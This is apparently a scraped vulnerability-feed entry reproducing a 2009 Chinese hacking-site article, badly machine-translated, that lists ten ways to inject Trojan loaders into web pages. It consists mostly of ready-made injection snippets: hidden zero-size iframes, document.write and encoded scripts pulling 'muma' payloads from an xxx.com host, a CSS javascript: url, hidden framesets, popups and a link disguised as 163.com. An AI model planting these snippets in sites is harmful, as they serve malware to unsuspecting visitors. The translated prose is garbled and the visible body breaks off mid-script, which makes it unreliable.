1 0 kind of hung it to the way-vulnerability warning-the black bar safety net
2009-12-07T00:00:00
ID MYHACK58:62200925522 Type myhack58 Reporter 佚名 Modified 2009-12-07T00:00:00
Description
A:The frame hanging horse
<iframe src=address width=0 height=0></iframe>
II:the js file hanging horse
First, the following code
document. write("<iframe width='0' height='0' src='address'></iframe>");
保存 为 xxx.js that
The JS hung it to the code
<script language=javascript src=xxx. js></script>
Three:js modification encryption
<SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt></script>
muma. txt can be changed to any suffix
Four:the body hanging horse
<a href="http://www.163.com(to confuse the connection address, display this address points to the Trojan address)" > page content to be displayed </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="mA address";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=8 0 0,height=6 0 0,left=1 0,top=1 0");
}
{"id": "MYHACK58:62200925522", "hash": "6dc6b4a35d18e8fe764aa77f808a9ffceb7402dd74e025b0b15d1d2f6307b25c", "type": "myhack58", "href": "http://www.myhack58.com/Article/html/3/62/2009/25522.htm", "history": [], "viewCount": 0, "published": "2009-12-07T00:00:00", "hashmap": [{"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "be6859a65fc85c7083866b4aa40d1e82", "key": "description"}, {"hash": "7295d4daf39eaaa40f13443c784396af", "key": "href"}, {"hash": "34e38c137a969670226bd5e8c98c4e54", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "34e38c137a969670226bd5e8c98c4e54", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "645396391020478112635e14b34a0f8b", "key": "reporter"}, {"hash": "b7e1bad5dcc32a2791d06f1531757c76", "key": "title"}, {"hash": "0665a8b0792e65b50ab13aef58a018dc", "key": "type"}], "references": [], "objectVersion": "1.2", "edition": 1, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-11-08T20:47:10"}, "dependencies": {"references": [], "modified": "2016-11-08T20:47:10"}, "vulnersScore": -0.2}, "cvelist": [], "modified": "2009-12-07T00:00:00", "title": "1 0 kind of hung it to the way-vulnerability warning-the black bar safety net", "description": "A:The frame hanging horse\n\n<iframe src=address width=0 height=0></iframe>\n\nII:the js file hanging horse\n\nFirst, the following code \ndocument. write(\"<iframe width='0' height='0' src='address'></iframe>\"); \n\u4fdd\u5b58 \u4e3a xxx.js that \nThe JS hung it to the code \n<script language=javascript src=xxx. js></script>\n\nThree:js modification encryption\n\n<SCRIPT language=\"JScript. Encode\" src=http://www. xxx. com/muma. txt></script> \nmuma. txt can be changed to any suffix \nFour:the body hanging horse\n\n<body ></body>\n\nFive:concealed hanging horse\n\ntop. document. body. innerHTML = top. document. body. innerHTML + '\\r\\n<iframe src=\"http://www.xxx.com/muma.htm/\"></iframe>';\n\nSix:css hang horse\n\nbody { \nbackground-image: url('javascript:document. write(\"<script src=http://www. XXX. net/muma. js></script>\")')} \n\nSeven:JAJA hung it to the\n\n<SCRIPT language=javascript> \nwindow. open (\"address\",\"\",\"toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1\"); \n</script>\n\nEight:picture camouflage\n\n<html> \n<iframe src=\"horse address\" height=0 width=0></iframe> \n<img src=\"image address\"></center> \n</html>\n\nNine:camouflage call:\n\n<frameset rows=\"444,0\" cols=\"*\"> \n<frame src=\"open web page\" framborder=\"no\" scrolling=\"auto\" noresize marginwidth=\"0\"margingheight=\"0\"> \n<frame src=\"horse address\" frameborder=\"no\" scrolling=\"no\" noresize marginwidth=\"0\"margingheight=\"0\"> \n</frameset>\n\nTen:advanced cheating\n\n<a href=\"http://www.163.com(to confuse the connection address, display this address points to the Trojan address)\" > page content to be displayed </a> \n<SCRIPT Language=\"JavaScript\"> \nfunction www_163_com () \n{ \nvar url=\"mA address\"; \nopen(url,\"NewWindow\",\"toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=8 0 0,height=6 0 0,left=1 0,top=1 0\"); \n}\n", "bulletinFamily": "info", "reporter": "\u4f5a\u540d", "cvss": {"vector": "NONE", "score": 0.0}, "lastseen": "2016-11-08T20:47:10"}
